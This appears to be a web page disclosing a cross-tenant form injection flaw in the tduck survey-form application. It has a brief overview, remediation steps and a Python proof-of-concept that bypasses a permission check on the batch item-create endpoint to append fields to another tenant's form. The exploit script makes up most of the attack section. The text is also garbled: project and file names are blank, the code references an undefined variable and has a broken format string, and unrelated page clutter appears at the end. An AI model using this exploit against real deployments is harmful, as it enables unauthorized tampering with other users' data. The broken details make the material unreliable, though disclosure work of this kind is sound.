tduck Cross-Tenant Form Injection Vulnerability (Bypass hasPermission) with POC

Vulnerability Overview This vulnerability involves a project named , specifically targeting the file in the project. The vulnerability description states that any authenticated user can append fields to another tenant's form by bypassing the check. Attackers can exploit this vulnerability to inject malicious content into the victim's form, potentially executing unauthorized operations or obtaining sensitive information. Scope of Impact Affected Project: Affected File: Vulnerability Type: Cross-Form Injection Impact Level: High (potential for unauthorized access and data leakage) Remediation Steps 1. Permission Checks: Ensure that when handling form item creation requests, the user's permission to operate on the target form is correctly verified. 2. Input Validation: Strictly validate all inputs to prevent malicious input from being processed. 3. Logging: Record all form operations to facilitate tracking and auditing of potential security incidents. 4. Update Dependencies: Ensure that the latest security patches and dependency libraries are used. POC Code Below is the complete POC code: ```python #!/usr/bin/env python3 -- coding: utf-8 -- N02 - tduck: POST /user/form/item/batch/create only authorizes array element 0 Any authenticated user can append fields to another tenant's form: the handler for FormMutations.hasPermission() against itemIdList.get(0).getFormKey() and then inserts the whole array with saveBatch(), each row carrying its own formKey. (the sort helper even reads that formKey). The injected rows are served by the anonymous GET /user/form/details/{key} view used by the form editor and the public info page. Source (dataset/codeql/CloudTduck_tduck-survey-form_java-comeqldb/sourcecode): tduck-app/.../web/controller/UserFormController.java:327-336 (batch handler) tduck-app/.../web/controller/UserFormController.java:307-322 (correct sibling) tduck-forms/.../forms/util/SortUtils.java:48-57 (per-form sort counter) tduck-forms/.../form/entity/UserFormItemEntity.java:32-110 (fields written) tduck-app/.../web/controller/UserFormController.java:218-240 (public details view) only Read-only unless --apply is given; with --apply the script injects exactly one item and removes it again with the victim account. import argparse import os import sys import time sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from common import (TduckError, TduckClient, api_data, api_ok, n02a, E402, build_parser, denied, evidence, login_client, main_guard, make_client, print_identity, snippet, verdict) NAME = "N02" def item_body(form_key, form_item_id, label, sort_id, hidden=False): """Manual fe.user.form_item row (batch path validates nothing, so supply the columns the table needs explicitly).""" return {"formKey": form_key, "formItemId": form_item_id, "type": "TEXTAREA", "label": label, "required": False, "displayType": False, "hiddenType": hidden, "sort": sort_id, "span": 12, "scheme": {"placeholder": "poc"}} def create_victim_form(victim, suffix): status, body, text = victim.post("/user/form/create", {"name": "poc-n02-victim-%s" % suffix, "type": 1}) if not api_ok(body): raise TduckError("victim could not create the form: HTTP %s %s" % (status, snippet(text))) form_key = (api_data(body) or {}).get("formKey") status, body, text = victim.post("/user/form/item/create", item_body(victim_key, "v1", "v1")) if not api_ok(body): raise TduckError("victim could not add its own item: HTTP %s %s" % (status, snippet(text))) status, body, text = victim.post("/user/form/publish", {"formKey": form_key}) print("[!] victim form formKey=%s (1 item, published) %s" % form_key) return form_key def public_details(form_key, args): anon = TduckClient(args.base_url, timeout=args.timeout, verify=not args.no_verify) status, body, text = anon.get("/user/form/details/%s" % form_key) items = (api_data(body) or {}).get("formItems") or [] if isinstance(body, dict) else [] return status, body, items def find_item(items, form_item_id): for item in items or []: if item.get("formItemId") == form_item_id: return item return None def run(args): if not args.token and not (args.account and args.password): raise TduckError("the attacker needs --token or --account/--password") attacker = make_client(args) if not (attacker.token or attacker.cookie): attacker, _ = login_client(args, args.account, args.password) print_identity(attacker, "attacker") victim = None if args.victim_account and args.victim_password: victim, _ = login_client(args, args.victim_account, args.victim_password) print_identity(victim, "victim") suffix = str(int(time.time()))[:6] victim_key = args.victim_form_key created_victim_form = False own_key = args.own_form_key created_own_form = False if not args.apply: print("[v] dry run (no --apply): no write request is sent.") if victim_key: status, body, items = public_details(victim_key, args) evidence("anonymous GET /user/form/details/%s" % victim_key, status, body) print(" [!] the victim's form currently has no visible item(s): %s(items)"

Goal Reached Thanks to every supporter — we hit 100%!

tduck Cross-Tenant Form Injection Vulnerability (Bypass hasPermission) with POC

More from this source